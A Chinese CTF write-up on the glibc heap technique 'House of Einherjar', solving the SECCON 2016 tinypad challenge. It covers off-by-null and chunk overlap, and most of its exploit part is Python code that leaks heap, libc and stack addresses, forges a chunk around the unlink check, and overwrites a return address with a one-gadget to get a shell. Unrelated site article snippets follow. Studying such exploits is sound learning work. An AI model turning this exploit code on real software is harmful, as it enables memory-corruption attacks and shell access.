【PWN学习之House of 系列】House Of Einherjar

写在前面

路线的学习一下 glibc 堆利用的 house of 系列利用手法。
主要参考以下文章以及文章中涉及的连接。
https://roderickchan.github.io/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation

简介

漏洞成因

溢出写、off by one、off by null

适用范围

  • 2.23—— 至今
  • 可分配大于处于 unsortedbin 的 chunk

利用原理

利用 off by null 修改掉 chunk 的 size 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping。

  1. 申请 chunk A、chunk B、chunk C、chunk D,chunk D 用来做隔离,chunk A、chunk C 都要处于 unsortedbin 范围
  2. 释放 A,进入 unsortedbin
  3. 对 B 写操作的时候存在 off by null,修改了 C 的 P 位
  4. 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
  5. 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头

利用效果

构造 chunk overlap 后,可以任意地址分配
结合其他方法进行任意地址读写

个人理解

  1. 绕过unlink检查会比较繁琐

例题讲解

题目链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/house-of-einherjar/2016_seccon_tinypad

检查保护

64位程序,Full RELRO表明程序got表不可写,未开启PIE,全局变量地址已知
在这里插入图片描述

分析程序流程

程序只允许最大同时有4个堆块且不超过0x100

read_until存在off by null的漏洞
在这里插入图片描述
free后,只是将size置为零,未将数组内的指针置为0,存在UAF漏洞
在这里插入图片描述
edit功能中没有对堆的长度做检查,这里存在堆溢出漏洞(不仅仅是off by null)由于size为0x100,我们堆溢出最多覆盖下一个堆的两个字节。
在这里插入图片描述

patch 程序

将程序patch为libc 2.23

漏洞利用

  1. 堆布局

    madd(1,0x40,b"a"*0x18)
    madd(2,0x40,payload)
    madd(3,0xf0,b"a"*0x18)
    madd(4,0x100,b"a"*0xff)
    

    在这里插入图片描述

  2. free chunk1、chunk2、chunk3
    注意顺序,因为堆存在页对齐,故chunk1的地址必定是0xxxxx000,存在\x00截断,所以泄漏不出来chunk1的地址

    mfree(2) # 
    mfree(1)
    mfree(3)
    p.recvuntil("INDEX: 1")
    p.recvuntil("CONTENT: ")
    heap_2_addr = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))
    p.recvuntil("INDEX: 3")
    p.recvuntil("CONTENT: ")
    libc_base = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))-0x3c3b78
    main_arena_88 = libc_base+0x3c3b78
    environ_addr = libc_base + libc.sym['__environ']
    system_addr = libc_base+ libc.sym['system']
    bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
    

    在这里插入图片描述

  3. 伪造offset
    因为libc2.23的unlink检查

    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
    malloc_printerr ("corrupted size vs. prev_size");
    // 检查 fd 和 bk 指针(双向链表完整性检查)
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    

    在这里插入图片描述
    其中 offset= chunk3-target
    由于存在\x00截断,所以offset需要倒着写

    heap_array = 0x602040
    target_addr = 0x602060
    offset = heap_2_addr - target_addr +0x50
    madd(1,0x48,b"a"*0x47)
    madd(2,0x48,b"b"*0x48)
    madd(3,0xf0,"c"*0xf0)
    payload = b"j"*0x48+p64(0x100)
    medit(2,payload) # 溢出清除preuse=0
    len_of_zero  =(16-len(str(hex(offset)))+2)//2
    for i in range(0,len_of_zero):
        medit(2,b"a"*(0x48-i)) 
    payload1 = b'j'*0x40 + p64(offset)
    medit(2,payload1) # 填写offset
    

    在这里插入图片描述

  4. 伪造target chunk

    payload = b"a"*0x20+b"a"*8+p64(0x101)+p64(target_addr)*2
    medit(1,payload)
    mfree(3)
    

    在这里插入图片描述
    我们的目标地址已经进入unsortedbin,但是该chunk的size太大还需要改回来
    在这里插入图片描述

    len_of_zero  =(16-len(str(hex(0x101)))+2)//2
    for i in range(0,len_of_zero):
        medit(1,b"d"*(0x30-i)) 
    payload2 = b"k"*0x20+b"a"*8+p64(0x101)
    medit(1,payload2)
    

    在这里插入图片描述

  5. 修改栈地址,get shell
    当我们再申请一个0xf8大小的堆块时,程序就会把tinypad+0x20处的地址返回给我们了。我们就可以修改从tinypad+0x20开始,0xf0大小的数据,tinypad+0x100处存储了第一个堆块的size和ptr,tinypad+0x110处存储了第二个堆块的size和ptr。这两个堆块的ptr我们已经可以进行修改了。
    由于malloc_hook处的值是0,我们无法通过edit的方式把onegadget写入malloc_hook(因为malloc_hook的strlen是0,无法读入数据)。那么我们就可以通过修改函数的返回地址为onegadget。
    修改函数的返回地址需要把程序保存返回地址的位置的值修改掉。我们需要泄露栈地址。libc中有一个符号’environ’存储了栈中的一个地址。我们可以利用它来得到栈地址。
    将chunk1的地址改成environ的地址,目的是通过show得到environ中的数据(一个栈地址)。将chunk2的地址改成保存chunk1的地址处的地址(0x602148),目的是方便修改chunk1的指针值。

    payload = b"a"*0xd0+b"b"*8+p64(environ_addr)+ p64(0x100) + p64(0x602148)
    # tinypad index2 存的是index1 的heap地址,如果edit2就相当于改了edit1的heap地址
    madd(3,0xf0,payload) # environ存储的栈地址读出来
    offset  = 0xf0 # 调试得来
    p.recvuntil("INDEX: 1")
    p.recvuntil("CONTENT: ")
    
    stack_addr = u64(p.recvuntil("\x0a\x0a\x0a")[:-3].ljust(8,b"\x00"))# 获取栈地址
    
    

    在这里插入图片描述

    
    stack_next_hop_addr = stack_addr - offset
    payload = p64(stack_next_hop_addr)
    log.info('heap_2_addr:0x%x'%(heap_2_addr))
    log.info('offset:0x%x'%(offset))
    log.info('environ_addr:0x%x'%(environ_addr))
    log.info('libc_addr:0x%x'%(libc_base))
    log.info('stack_addr:0x%x'%(stack_addr))
    log.info('stack_next_hop_addr:0x%x'%(stack_next_hop_addr))
    log.info('bin_sh_addr:0x%x'%(bin_sh_addr))
    
    medit(2,payload) #index1 的heap addr 改为栈上的地址
    onegadget_addr = libc_base+onegadget_array[0]
    payload = p64(onegadget_addr)
    medit(1,payload) # 通过edit1,将栈上的返回地址改成onegadget,getshell
    

    在这里插入图片描述
    将0x00007fffffffddb8指向的值改为 onegedget地址,getshell
    在这里插入图片描述

TODO

  • 在高版本glibc下的绕过unlink检查

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/284897.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Redis:原理+项目实战——Redis实战2(Redis实现短信登录(原理剖析+代码优化))

👨‍🎓作者简介:一位大四、研0学生,正在努力准备大四暑假的实习 🌌上期文章:Redis:原理项目实战——Redis实战1(session实现短信登录(并剖析问题)&#xff09…

免费的 MP4 压缩器榜单大全——16大视频压缩软件

阅读最佳在线视频压缩器的综合评论和比较及其功能和定价,以选择免费的 MP4 压缩器: 如果您长期担任专业视频编辑器,那么您就会知道一个简单的 1 MB 视频最终会如何占用系统中的大量空间。因此,您很清楚压缩视频的重要性&#xff…

数据隐私:技术和法律的双重挑战

当前,数据已成为企业和个人最宝贵的资产之一。然而,随着数据的广泛收集和共享,数据隐私问题也日益突出。保护个人信息的隐私不仅是法律规定的义务,也是维护社会公正、保护个人权益的必要措施。本文将从数据隐私的概念、重要性、面…

机器学习计算题——svm支持向量机

引入一点高中的线性规划,我在接下来的题目确实可以用这种思想计算,并且非常快得到答案。 正文开始: 例题1 例题2

网站提示“不安全”怎么解决

在互联网中,安全问题至关重要。访问某些网站时,可能会遇到“不安全”警告,通常是由于缺乏SSL证书。SSL证书是数字证书,用于确保互联网通信的安全和保密。 “不安全”问题通常源于缺少SSL证书。SSL通过加密通信,防止第三…

浅析锂电池保护板(BMS)系统设计思路(四)SOC算法-扩展Kalman滤波算法

1 SOC估算方法介绍 电池SOC的估算是电池管理系统的核心,自从动力电池出现以来,各种各样的电池SOC估算方法不断出现。随着电池管理系统的逐渐升级,电池SOC估算方法的效率与精度不断提高,下面将介绍常用几种电池SOC估算方法[1]&…

个体诊所软件方案,农村医疗服务站社区门诊电子处方管理系统软件教程

个体诊所软件方案,农村医疗服务站社区门诊电子处方管理系统软件教程 一、软件程序问答 1、处方单软件有病历汇总吗 如下图,软件以 佳易王电子处方软件V17.2版本为例说明 点击 病历汇总统计 按钮, 可以按明细查询或病历汇总查询&#xf…

Javaweb之JDBC的详细解析

2. JDBC介绍(了解) 2.1 介绍 通过Mybatis的快速入门,我们明白了,通过Mybatis可以很方便的进行数据库的访问操作。但是大家要明白,其实java语言操作数据库呢,只能通过一种方式:使用sun公司提供的 JDBC 规范。 Mybatis…

2023年12月随笔之‘千年光盘‘(Millennial Disc)

1. 回头看 日更坚持了365天。 读《像火箭科学家一样思考:将不可能变为可能》更新完成 读《程序员的README》开更并更新完成 读《算法霸权》开更并持续更新中 12月码字71992字,日均码字数2322字,累计码字717963字,累积日均码字…

C#编程-使用变量

使用变量 请考虑以下场景:您必须创建一个程序,接受来自用户的两个数字并在屏幕上显示着两个数字之和。现在,读取用户提供的数字时,您需要将这些数字存储在内存中的某个位置,以便您能对这些数字执行加操作。您可以使用变量将这些数字存储在内存中。 下图显示了使用变量将…

SQL性能优化-索引

1.性能下降sql慢执行时间长等待时间长常见原因 1)索引失效 索引分为单索、复合索引。 四种创建索引方式 create index index_name on user (name); create index index_name_2 on user(id,name,email); 2)查询语句较烂 3)关联查询太多join&a…

MYSQL 索引结构 B+树 hash索引

B-Tree树 当节点存在五个key时,中间的key向上分裂形成树 B树 所有的数据都会出现在叶子节点,叶子节点形成一个单向链表 哈希索引 优点

T 检验和 Z 检验之间的区别

在统计学领域,假设检验在从数据中得出有意义的结论方面发挥着至关重要的作用。两种常用的统计检验是 T 检验和 Z 检验。虽然这两种检验都用于评估假设,但它们的应用和假设有所不同。 t 检验和 z 检验都假设数据呈正态分布(或近似正态分布&…

【网络面试(6)】IP协议对网络包的转发

在前面的博客中,我们提到过,网络传输的报文是有真实的数据包和一些头部组成,目前我们了解的头部就有TCP头、IP头、MAC头,而且这三个头部信息都是在应用程序委托给协议栈之后,被写入的相关信息,这些头部都是…

30 UVM Adder Testbench Example

1 Adder Design 加法器设计在时钟的上升沿产生两个变量的加法。复位信号用于clear out信号。注:加法器可以很容易地用组合逻辑开发。引入时钟和重置,使其具有测试台代码中时钟和重置的样子/风格。 module adder(input clk, reset, input [7:0] in1, in…

go语言语法基础

文章目录 前言一、输入和输出常用的字符串格式化符号 二、注释三、Go常用基本语言数据类型数字类型布尔类型字符类型变量与常量数组和切片数组切片 map类型创建map增删改查特别提醒 指针 四、运算符五、条件判断语句if系列switch六、循环语句for循环标准写法死循环while循环do …

2024.1.1 hive_sql 题目练习,开窗,行列转换

重点知识: 在使用group by时,select之后的字段要么包含在聚合函数里,要么在group by 之后 进行行转列,行转列的核心就是使用concat_ws函数拼接(分隔符,内容), -- 以及collect_list函数进行收集,list不去重, set去重无序 列转行,核心就是使用炸裂函数把东…

【深入浅出RocketMQ原理及实战】「云原生升级系列」打造新一代云原生“消息、事件、流“统一消息引擎的融合处理平台

打造新一代云原生"消息、事件、流"统一消息引擎的融合处理平台 云原生架构RocketMQ的云原生架构实现RocketMQ的云原生发展历程互联网时期的诞生无法支持云原生的能力 云原生阶段的升级云原生升级方向促进了Mesh以及多语言化发展可分合化的存算分离架构存储分离架构的…

message: 没有找到可以构建的 NPM 包,请确认需要参与构建的 npm 都在 `miniprogra

第一步:修改 project.config.json 文件 "packNpmRelationList": [{"packageJsonPath": "./package.json","miniprogramNpmDistDir": "./miniprogram/"}], "packNpmManually": true 第二步:…

QDialog

属性方法 样式表 background-color: qlineargradient(spread:reflect, x1:0.999896, y1:0.494136, x2:1, y2:1, stop:0 rgba(0, 0, 0, 255), stop:1 rgba(255, 255, 255, 255));border: 1px groove rgb(232, 232, 232);border-radius: 20px; QDialog 的常用方法: e…